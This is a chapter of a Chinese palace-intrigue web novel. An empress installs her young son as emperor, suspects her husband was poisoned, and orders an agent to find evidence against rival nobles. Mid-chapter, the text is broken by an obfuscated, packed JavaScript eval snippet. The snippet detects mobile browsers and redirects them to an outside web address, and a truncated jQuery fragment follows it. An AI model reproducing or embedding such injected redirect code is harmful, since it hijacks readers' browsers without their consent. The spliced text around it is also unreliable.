霍翎这句话,仿佛触发了什么机关般,原本安静到死寂的太和殿外,瞬间哭声成片。 几乎所有人都在低头抹泪,只有霍翎没有。 她脸上看不出一丝一毫悲伤的痕迹,只是静静凝望着台阶之下哭泣的群臣,一直到周围哭声渐弱,霍翎才看向陆杭:“国不可一日无主,陆尚书,颁布陛下的遗诏吧。” 陆杭是一众重臣里与霍翎接触最多的人,从霍翎还没正式入主中宫时,他就已经见识过霍皇后的手段。 他相信,面对这突如其来的噩耗,霍皇后心中的悲痛绝对远超在场众人。 尤其是太子年幼,霍皇后在朝中根基不稳,陛下这一去,就算有遗诏在,她的处境,也绝不会比陛下在时要好。 但从她的身上,陆杭感受到的,只是极度克制的冷静。 陆杭不敢耽搁,从匣子里取出遗诏。 绝大多数人都是刚知道遗诏的内容。对于景元帝的安排,他们心中各有思量。 就连那些个被请进太和殿里,先一步知道遗诏内容的人,也都没忍住泛起了嘀咕。 其实对于第一道遗诏,他们是很不满的。霍世鸣原本就执掌了一支燕羽军,如今又被提拔为行唐关主将,日后必定有外戚坐大的风险。 只是在那种情况下,谁都不可能站出来反对陛下的安排。 陛下的想法很好揣测。一方面,他是想增加霍皇后手中的筹码。一方面,他也是想防范柳国公的势力。 这几年里,柳国公府的行事确实低调了许多,但事实上,柳国公府的根基并未受损,勋贵依旧以柳国公为首。 可陛下在安排辅政大臣时,不仅越过了柳国公,还安排了三个与柳国公没有太多交情的大臣。 文盛安就不用说了,这些年一直在帮助陛下削弱勋贵的势力。 陆杭是朝中有名的老狐狸、墙头草,不会轻易站队。 陈浩言与柳国公也没什么私交。当初季渊晚刚被选进宫里,端王一系势力大涨时,他没少上书弹劾端王一系的人。 …… 陆杭念完遗诏,跪在季衔山面前,将手中的遗诏呈给他:“请太子登基。 所有朝臣跟着跪下,声音整齐划一:“请太子登基。 季衔山之前已经得过霍翎的叮嘱,虽然被这如海浪般的呼声吓了一跳,但还是伸手去接了圣旨。 所有人再喊:“参加陛下。吾皇万岁万岁万万岁。 这个年纪的孩子总喜欢学大人说话。朝臣三呼万岁的场面,季衔山见过很多次。他也记得在朝臣三呼万岁后,父皇都会说些什么。 “众爱卿平身。 颁布完遗诏,就是从法理上定下了季衔山的新君身份。至于登基大典,在霍翎询问以后,陆杭表示,礼部会在二十天内筹备妥当。 霍翎没有给陆杭讨价还价的余地:“半个月后,举办登基大典。 若是按照正常的情况,霍翎的立后大典筹备了两个月,季衔山的立储大典同样筹备了两个月,登基大典的场面只会更加盛大隆重,所需要用到的各种器物仪仗也只会更多…… 但如今只能一切从简,先将大义名分彻底定下。 霍翎看向文盛安:“文尚书是大行皇帝钦定的辅政大臣,朝中文臣也一直以你为首,大行皇帝的丧事,哀家就托付给你与其他几位尚书了。 文盛安拱手行礼:“请太后放心。 霍翎摆手:“你们都先退下吧。 文盛安领着众人下去。 柳国公站在端王身边,他低着头,眼眶周围还带着哭过的红痕。沉默着走了一段路,柳国公突然心有所感,回头望去,却发现太和殿外已经没有了少帝和霍太后的身影。 “怎么了? 柳国公隐晦地摇了摇头。 *** 天边最后一抹余晖消散,黑暗如潮水般淹没太和殿,又被一盏盏长明灯驱散。 在文盛安带着朝臣离开时,霍翎多看了柳国公和端王的背影几眼 ,就牵着季衔山再次进入太和殿。 李满来到霍翎面前,请示过后,带着宫人去更换太和殿里的东西,撤掉那些颜色艳丽的物件。 无墨也走了过来,面上还稳得住,眼底却毫不掩饰担忧之色:“娘娘,德妃她们过来了。” 霍翎道:“请德妃过来。” 德妃来得很快,她面容憔悴,眼眶红肿,显然也是刚大哭过一场:“娘娘节哀。” 霍翎直接道:“后宫之事,交由你代掌一段时间,带着两位公主和妃嫔们好好送先帝最后一程。” “臣妾遵命。” 退下之前,看着霍翎平静而疲惫的面容,德妃没忍住劝了一句:“娘娘一定要保重好自己的身体。陛下那里,还需要娘娘多加照拂。” 季衔山靠在霍翎怀里,早已经累得睡着了。 霍翎垂下眼眸,抚了抚他的脸庞,对德妃道:“放心吧,哀家还没那么容易倒下。” 她所有的眼泪,所有的悲伤,都止于她走出太和殿的那一刻。 接下来,她有一场只能胜不能败的硬仗要打。 等德妃出去以后,无墨端着温水走了进来:“娘娘,您先喝口水吧。今天一整天您都没用过东西,要不要让御膳房那边送些东西过来?” 霍翎其实一点儿胃口都没有,但她还是道:“让御膳房给我准备一碗甜汤。” 东西送来得极快,霍翎吃东西的时候,季衔山闻到饭香,迷迷糊糊睁开眼睛:“甜汤……” 无墨想去给季衔山也端一份,霍翎制止了她。 霍翎可以饿着自己,却不会饿着孩子。季衔山是吃过东西才睡着的。 “想吃吗?”霍翎低声问。 季衔山揉了揉眼睛:“想。” 霍翎让他坐好,等他清醒了,才一边吃饭一边分出几勺去喂他。 季衔山吃了几口又开始揉眼睛了,在霍翎再次伸勺子过来时,他困得眼睛眯起,嘴巴闭着摇了摇头,重新靠在霍翎的身边,声音里带着浓浓的睡意,下意识道:“母后,都天黑了,父皇怎么还没过来啊。” 无墨心中一酸,又一次为她家娘娘落下泪来。 霍翎放下勺子,只道:“别说话了,快睡吧。” 季衔山嘟囔了几句什么,就又睡着 了。 霍翎喝完碗里最后几口甜汤。 无墨收走空碗,看了看霍翎怀里的季衔山,低声道:“娘娘,您还是别的事要做,要不要我来抱着陛下。 霍翎原本是要摇头的,但犹豫了下,她还是点头:“好,你多看着他些。 “娘娘放心。无墨保证,“我不会离开陛下身边半步的。 “你留在这里陪他,再让小陈太医来给他看看,他今天哭得太厉害了。霍翎轻轻托着季衔山的头,在不惊醒他的情况下,与无墨交换了位置。 她走出偏殿,就听到了主殿那边传来的哭声。 霍翎问守在宫殿门口的内侍:“胡太医回去了吗? 一刻钟后,霍翎见到了匆匆赶来的胡太医和崔弘益。 霍翎看到他二人居然是一起过来的,立刻道:“先帝今天触碰过的东西,可有不妥? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583243|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔弘益看向胡太医,胡太医答道:“没有不妥。不过老臣与几位太医聊过后,怀疑先帝极有可能是中毒。 霍翎道:“还是无法完全确定吗? 胡太医道:“如果先帝真是中毒,这种毒药绝对不是产自中原。老臣已经让太医院的人都回去翻找资料了。 中原王朝地大物博,但也有很多东西,是其它地方独有的。比如说牵机引这种毒药,产自西域,与钩吻、鹤顶红并列为三大奇毒。 霍翎点头,让胡太医先下去,又让崔弘益去叫李满。 “彻查凤仪宫与太和殿的人手,尤其是太和殿这边。 景元帝来后宫的话,都是宿在凤仪宫里,但有时朝政繁忙,或者遇到第二天有大朝会的情况,景元帝就会宿在太和殿,方便上下朝。 今天有大朝会,所以景元帝昨晚上宿在了太和殿。 等霍翎将自己能想到的事情都安排下去,已至深夜,主殿那里的哭声也停了下来。 无墨正在一下又一下给季衔山摇着扇子,看到霍翎来了,她用气音道:“小陈太医来看过了。 霍翎点头,坐回季衔山身边。 无墨看着霍翎的眼神里,既有担心也有心疼:“娘娘,你要不要也跟着睡一觉?有我在旁边守着,如果发生了什么情况,我第一时间喊醒你。 霍翎没有困意,也 不想休息。 她的心底始终有种难以抹去的恐惧感。 只要景元帝的死因一日不能确定下来,她就一日不能真正放下心。 如果景元帝真是中毒而亡,那最有可能对他下手的,就是端王和柳国公。 毒害天子,是株连九族的谋逆大罪。 如果这件事情真是端王和柳国公做的,那他们…… 迷迷糊糊中,霍翎脑海里突然闪过一个念头—— 他们没有安排其它后手吗? 他们会眼睁睁看着安儿登基,看着她成为摄政太后吗? 这个念头一起,霍翎猛地清醒,终于知道自己心底挥之不去的那抹恐惧,到底来源于哪里了。 她看着外面微微透亮的天色,抱着完全蜷缩在她怀里的孩子起身,让无墨喊来崔弘益:“拿着哀家的手令,让丁景焕立刻滚进宫来。 在等待丁景焕进宫时,霍翎给燕西那边写了两封信,命人八百里加急送过去。 丁景焕来得匆忙,头发都是在来的路上扎的,发冠戴得歪歪斜斜。 霍翎与丁景焕认识已有三年。这三年里,两人见面的次数屈指可数,单独见面的次数更是只有初遇那次。 但这三年里,每个月的五坛酒没有断过,每年年底的年礼也没有断过。 霍翎从来没开口问过丁景焕是否愿意效忠于她,丁景焕也从来没开口对霍翎表露过一次忠心,更没有在朝堂上为她发过一次声,做过一次事。 就连无锋都在私底下着急,宁愿充当冤大头请丁景焕去樊楼喝酒,都要追问丁景焕是怎么想的。 丁景焕是怎么想的? 丁景焕其实没什么想法。 他这样俗气的人,三年的买酒钱,已经可以买断他的忠心。 所以当他来到这位年轻太后的面前,她没有任何废话,也没有任何铺垫,直接下令。 “哀家限你十日之内,找出端王府和柳国公府毒害先帝的罪证。 如此骇人听闻的事情,若是让其他人听见了,不说面色大变,也绝对是心神巨震,久久无法回过神来。 但丁景焕这个素来喜欢嬉皮笑脸的人,在听到这个消息后,只是眉梢猛跳了一下。 要查案,应该找刑部,找大理寺,找宫里的人,而不是找他。 所以太后要的,不是真相。 而是可以直接置端王府和柳国公府于死地的罪证。 作者有话要说